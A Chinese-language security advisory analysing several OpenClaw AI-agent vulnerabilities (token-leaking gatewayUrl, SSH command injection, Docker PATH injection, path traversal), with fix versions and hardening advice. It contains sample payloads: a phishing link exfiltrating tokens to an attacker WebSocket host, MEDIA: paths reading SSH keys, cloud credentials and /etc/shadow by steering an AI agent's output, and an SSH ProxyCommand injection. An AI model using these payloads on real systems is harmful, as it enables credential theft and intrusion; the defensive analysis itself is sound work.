当AI代理的代码成为攻击者的跳板,每一个未修复的漏洞都是一扇敞开的门

引言:漏洞集群的集中爆发

2026年1月底至2月初,OpenClaw(曾用名Clawdbot、Moltbot)迎来了其发展史上最严峻的安全考验。GitHub Advisory Database在短短数周内集中披露了数十个安全漏洞,涵盖认证绕过、命令注入、信息泄露、权限越权等多个维度。其中,五个拥有CVE编号的高危漏洞尤为引人注目,CVSS评分最高达8.8分,且已有漏洞被证实在野利用

本文将对这五个核心高危漏洞进行深入的技术剖析,揭示其根本原因、攻击场景和潜在危害,并提供明确的版本修复对照表和升级路径,帮助部署方精准定位风险、快速完成修复。

一、CVE-2026-25253:Control UI参数处理缺陷(CVSS 8.8)

漏洞画像

项目

信息

CVE编号

CVE-2026-25253

CVSS评分

8.8(高危)

漏洞类型

CSRF、令牌泄露

影响版本

< 2026.1.29

修复版本

>= 2026.1.29

在野利用

已确认

技术原理

CVE-2026-25253是OpenClaw Control UI中一个严重的参数处理缺陷,被安全研究人员称为“一键远程代码执行”漏洞。该漏洞的核心在于OpenClaw错误地信任了用户提供的URL参数。

在受影响版本中,OpenClaw的Control UI会从查询字符串中获取gatewayUrl参数,并自动建立WebSocket连接,同时将用户的认证令牌直接传输至该参数指定的地址,整个过程无需用户确认或域名校验

// 漏洞代码示意(简化版)

const urlParams = new URLSearchParams(window.location.search);

const gatewayUrl = urlParams.get('gatewayUrl');

if (gatewayUrl) {

  // 自动连接,无任何校验!

  const ws = new WebSocket(gatewayUrl);

  ws.onopen = () => ws.send(authenticationToken);

}

攻击链分析

攻击者可利用该漏洞构建完整的“一键RCE杀伤链”:

  1. 钓鱼诱饵:攻击者构造包含恶意gatewayUrl参数的链接,如:

https://victim-openclaw-ui/?gatewayUrl=wss://attacker.com/exfil

  1. 令牌窃取:受害者点击链接后,Control UI自动连接至攻击者控制的WebSocket服务器,并在毫秒级时间内将认证令牌传输出去。
  2. 网关接管:攻击者利用窃取的令牌连接至受害者的本地网关(即使绑定在loopback地址上),获得完全访问权限。
  3. 配置篡改:攻击者修改网关配置——禁用沙箱、启用危险工具、扩大权限范围。
  4. 远程代码执行:攻击者调用特权API,在受害者主机上执行任意命令。

根本原因

该漏洞的本质是信任边界失控(CWE-669:资源跨球体错误传输)。OpenClaw错误地将用户提供的URL视为可信输入,未做任何白名单校验或用户确认,导致攻击者可以绕过浏览器的同源策略,利用受害者的浏览器作为“跳板”,直击本地网关。

修复方案

官方在2026.1.29版本中修复了该漏洞,主要措施包括:

  • 对gatewayUrl参数添加可信域名白名单校验
  • 仅允许连接至本地或预配置的可信网关地址
  • 对WebSocket传输的认证令牌进行端到端加密

二、CVE-2026-25157:SSH命令注入漏洞(CVSS 8.1)

漏洞画像

项目

信息

CVE编号

CVE-2026-25157

CVSS评分

8.1(高危)

漏洞类型

OS命令注入(CWE-78)

影响版本

< 2026.1.29

修复版本

>= 2026.1.29

攻击向量

本地网络,需用户交互

技术原理

CVE-2026-25157是一个存在于OpenClaw SSH节点管理功能中的命令注入漏洞,包含两个独立的攻击向量。

攻击向量一:项目路径注入

sshNodeCommand函数在构造shell脚本时,未对用户提供的项目路径进行正确的转义处理。当cd命令失败时,未转义的路径被直接插入echo语句中,为命令注入创造了机会。

// 漏洞代码示意

function sshNodeCommand(projectPath) {

  // 未对projectPath进行转义就直接拼接

  const script = `

    cd ${projectPath} || echo "Failed to cd to ${projectPath}"

    # 其他命令...

  `;

  // 执行脚本

}

攻击者可以通过构造包含shell元字符的恶意项目路径,注入任意命令,并在远程SSH主机上执行。

攻击向量二:SSH目标选项注入

parseSSHTarget函数未能验证SSH目标字符串不能以短横线开头。攻击者可以构造类似-oProxyCommand=malicious_command的目标字符串,被SSH客户端解释为配置选项而非主机名,从而在本地机器上执行任意命令。

攻击场景

攻击者可利用该漏洞实现:

  • 远程主机控制:通过注入的项目路径,在受信任的远程SSH主机上执行恶意命令
  • 本地权限提升:通过SSH选项注入,在OpenClaw运行主机上执行系统命令
  • 横向移动:以OpenClaw进程权限为跳板,向内部网络其他主机渗透

根本原因

该漏洞的根本原因在于两重输入验证失败

  • 输出转义不足:在错误处理代码中直接拼接未转义的用户输入
  • 输入验证缺失:未能拒绝以短横线开头的SSH目标字符串

修复方案

官方在2026.1.29版本中通过以下方式修复-2

  • 对用户提供的项目路径进行严格的转义处理
  • 添加验证逻辑,拒绝以短横线开头的SSH目标字符串

三、CVE-2026-24763:Docker沙箱绕过漏洞(CVSS 7.8)

漏洞画像

项目

信息

CVE编号

CVE-2026-24763

CVSS评分

7.8(高危)

漏洞类型

命令注入(CWE-78)

影响版本

< 2026.1.29

修复版本

>= 2026.1.29

攻击向量

网络,需认证

技术原理

CVE-2026-24763是一个存在于OpenClaw Docker沙箱执行机制中的命令注入漏洞。该漏洞源于对PATH环境变量的不安全处理。

在构建和执行shell命令时,OpenClaw的Docker沙箱机制未对PATH环境变量进行适当的清理和验证。已认证的攻击者如果能够控制环境变量,就可以通过操纵PATH变量在容器上下文中注入恶意命令。

// 漏洞代码示意

function executeInSandbox(command) {

  // 直接使用当前PATH环境变量,未做验证

  const env = { ...process.env, PATH: process.env.PATH };

  // 在Docker容器中执行命令

  docker.run(command, { env });

}

攻击者可以通过在PATH中注入shell元字符或命令序列,当OpenClaw构造和执行命令时,这些注入的元素被解释为命令的一部分,导致任意命令执行-3

攻击场景

  • 容器突破:攻击者通过环境变量注入,突破Docker沙箱限制,在容器上下文中执行任意命令
  • 敏感数据窃取:获取容器内存储的凭证、密钥等敏感信息
  • 权限提升:以容器内权限为跳板,进一步攻击宿主机

根本原因

漏洞的根本原因在于对PATH环境变量的信任过度。OpenClaw假定该变量只包含合法的目录路径,而未验证其中是否包含shell元字符或恶意命令序列-3

修复方案

官方在2026.1.29版本中修复了该漏洞-9,主要措施包括:

  • 在构建shell命令前对PATH环境变量进行严格的清理和验证
  • 实施环境变量白名单机制,仅允许预定义的、安全的路径值

四、CVE-2026-25475:本地文件包含漏洞(CVSS 6.5)

漏洞画像

项目

信息

CVE编号

CVE-2026-25475

CVSS评分

6.5(中危,但利用风险高)

漏洞类型

路径遍历(CWE-22)

影响版本

<= 2026.1.30

修复版本

>= 2026.2.1

在野利用

已确认-4

技术原理

CVE-2026-25475是一个存在于OpenClaw媒体文件处理模块中的路径遍历漏洞。isValidMedia()函数负责验证媒体文件路径,但其实现存在严重缺陷,允许各种危险的路径模式:

function isValidMedia(candidate: string, opts?: { allowSpaces?: boolean }) {

  if (candidate.startsWith("/")) return true;      // 允许 /etc/passwd

  if (candidate.startsWith("./")) return true;

  if (candidate.startsWith("../")) return true;    // 允许 ../../etc/passwd

  if (candidate.startsWith("~")) return true;      // 允许 ~/secrets

  return false;

}

任何绝对路径、相对路径、目录穿越序列、用户主目录引用均被接受,无任何安全目录限制或媒体文件类型验证-4

攻击场景

攻击者可以通过诱导AI代理输出MEDIA: URI,读取系统上任意文件:

text

复制

下载

MEDIA:/etc/passwd               # 读取系统用户信息

MEDIA:~/.ssh/id_rsa             # 窃取SSH私钥

MEDIA:~/.aws/credentials        # 窃取云服务凭证

MEDIA:../../../etc/shadow       # 目录穿越读取敏感文件

MEDIA:.env                       # 读取环境变量中的API密钥

MEDIA:config.json                # 读取配置文件中的凭证

根本原因

该漏洞的根本原因是路径验证逻辑的完全缺失

  • 未限制文件访问范围在安全的媒体目录内
  • 未验证目标文件是否为真正的媒体文件
  • 未阻止危险路径模式

修复方案

官方在2026.1.30版本中尝试修复,但修复不完整;最终在2026.2.1版本中完全修复。修复措施包括:

  • 拒绝绝对路径、目录穿越序列和主目录引用
  • 限制文件访问仅限于预定义的媒体目录
  • 验证目标文件的MIME类型,确保为媒体文件

五、GHSA系列漏洞详解

除CVE编号漏洞外,GitHub Advisory Database还披露了多个值得关注的中高危漏洞。

GHSA-6mgf-v5j7-45cr:跨域重定向信息泄露(CVSS 7.5)

漏洞描述:OpenClaw的fetch-guard组件存在逻辑缺陷,在跨域重定向过程中,会将自定义的授权请求头直接转发至重定向目标地址,导致授权凭证泄露至非可信域名。

影响版本:<= 2026.3.2
修复版本:>= 2026.3.7

攻击场景:攻击者构造恶意跨域重定向链接,诱导OpenClaw合法用户访问,fetch-guard在重定向时将用户的授权头转发至攻击者控制的服务器。

GHSA-rchv-x836-w7xp:仪表盘信息泄露(CVSS 7.1)

漏洞描述:OpenClaw的管理仪表盘存在信息泄露缺陷,网关认证相关的敏感材料通过浏览器URL查询参数和localStorage本地存储进行传输和保存,未做加密和脱敏处理。

影响版本:<= 2026.3.2
修复版本:>= 2026.3.7

攻击场景:攻击者通过物理接触、浏览器漏洞或XSS攻击,获取目标设备浏览器的URL历史或localStorage数据,提取网关认证材料。

六、版本修复对照表

为帮助部署方精准定位风险,下表汇总了核心漏洞的受影响版本和修复版本:

漏洞编号

漏洞类型

影响版本

修复版本

CVSS评分

在野利用

CVE-2026-25253

令牌泄露/RCE

< 2026.1.29

>= 2026.1.29

8.8

CVE-2026-25157

SSH命令注入

< 2026.1.29

>= 2026.1.29

8.1

CVE-2026-24763

沙箱命令注入

< 2026.1.29

>= 2026.1.29

7.8

CVE-2026-25475

路径遍历

<= 2026.1.30

>= 2026.2.1

6.5

GHSA-6mgf-v5j7-45cr

跨域重定向

<= 2026.3.2

>= 2026.3.7

7.5

GHSA-rchv-x836-w7xp

信息泄露

<= 2026.3.2

>= 2026.3.7

7.1

版本升级路径建议-5

  1. 对于低于2026.1.29的版本:必须首先升级至2026.1.29或更高版本
  2. 对于2026.1.29至2026.1.30版本:建议升级至2026.2.1修复CVE-2026-25475
  3. 对于2026.2.1至2026.3.2版本:建议升级至2026.3.7修复GHSA系列漏洞
  4. 最终建议:升级至最新稳定版本,确保持续获得安全更新

七、漏洞利用与防护建议

漏洞利用特征

根据安全研究人员的分析,上述漏洞在利用时通常表现出以下特征-1-7

漏洞

利用特征

监控重点

CVE-2026-25253

外部WebSocket出站连接

浏览器网络日志中的非本地WebSocket

CVE-2026-25157

以短横线开头的SSH目标

SSH连接日志中的异常目标格式

CVE-2026-24763

环境变量中的shell元字符

容器启动时的环境变量记录

CVE-2026-25475

包含MEDIA:的敏感文件访问

应用日志中的路径遍历模式

GHSA-6mgf-v5j7-45cr

跨域重定向中的授权头

请求日志中的授权头转发记录

加固建议

针对上述漏洞,建议部署方采取以下综合防护措施:

  1. 立即升级:将OpenClaw升级至最新稳定版本,确保所有已知漏洞得到修复
  2. 权限最小化

# 运行OpenClaw的专用用户

useradd --system --home /opt/openclaw openclaw

chown -R openclaw:openclaw /opt/openclaw

chmod 700 /opt/openclaw

  1. 网络隔离

# 限制OpenClaw对外连接

iptables -A OUTPUT -m owner --uid-owner openclaw -p tcp --dport 22 -j DROP

iptables -A OUTPUT -m owner --uid-owner openclaw -p tcp --dport 443 -j ACCEPT

iptables -A OUTPUT -m owner --uid-owner openclaw -j DROP

  1. 沙箱强化

# Docker运行参数

docker run \

  --read-only \

  --cap-drop=ALL \

  --security-opt=no-new-privileges:true \

  --tmpfs /tmp:noexec,nosuid,size=100m \

  openclaw/openclaw:latest

  1. 监控告警:部署SIEM规则,对上述漏洞利用特征进行实时监控

结语:漏洞是镜子,照见安全短板

OpenClaw的漏洞集群集中爆发,折射出AI智能体框架在快速发展过程中普遍面临的安全挑战:功能迭代与安全设计的不同步。从CVE-2026-25253的令牌泄露,到CVE-2026-25475的路径遍历,每一个漏洞都是对“默认信任”的惩罚,也是对“安全设计”的呼唤。

对于部署方而言,漏洞不可怕,未知才可怕。及时了解漏洞详情、准确评估影响范围、快速完成版本升级,是应对风险的最有效手段。正如安全内参的评论:“当前OpenClaw的漏洞分析显示,其安全问题主要集中在权限管控逻辑缺陷、沙箱机制绕过、网络防护不完善、认证校验不严谨四大方面,且多数漏洞因框架的分布式执行特性和多渠道交互设计被放大,低版本实例受影响尤为严重。”-5

(系列文章第二篇,待续。下一篇预告:技能生态安全——如何在15,000+插件中识别恶意代码)


参考文献:

  1. SentinelOne.CVE-2026-25253: OpenClaw CSRF Vulnerability Flaw.2026-01-31
  2. OpenCVE.CVE-2026-25157 - OpenClaw/Clawdbot OS Command Injection.2026-02-03
  3. SentinelOne.CVE-2026-24763: OpenClaw Command Injection RCE Flaw.2026-02-01
  4. Dependabot.CVE-2026-25475: OpenClaw Local File Inclusion.2026-02-03
  5. 安全内参.OpenClaw安全风险排查指南:在效率与安全之间寻找平衡.2026-03-09
  6. ICS-CSIRT.Vulnerabilities (CVE) for OpenClaw.2026-02
  7. Foresiet.CVE-2026-25253: OpenClaw Bug Enables One-Click RCE.2026-02-03
  8. SentinelOne.CVE-2026-25157: OpenClaw AI Assistant RCE Vulnerability.2026-02-03
  9. OSV.CVE-2026-24763 Vulnerability Details.2026-02-02
  10. SentinelOne.CVE-2026-25475: OpenClaw Path Traversal.2026-02-03
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐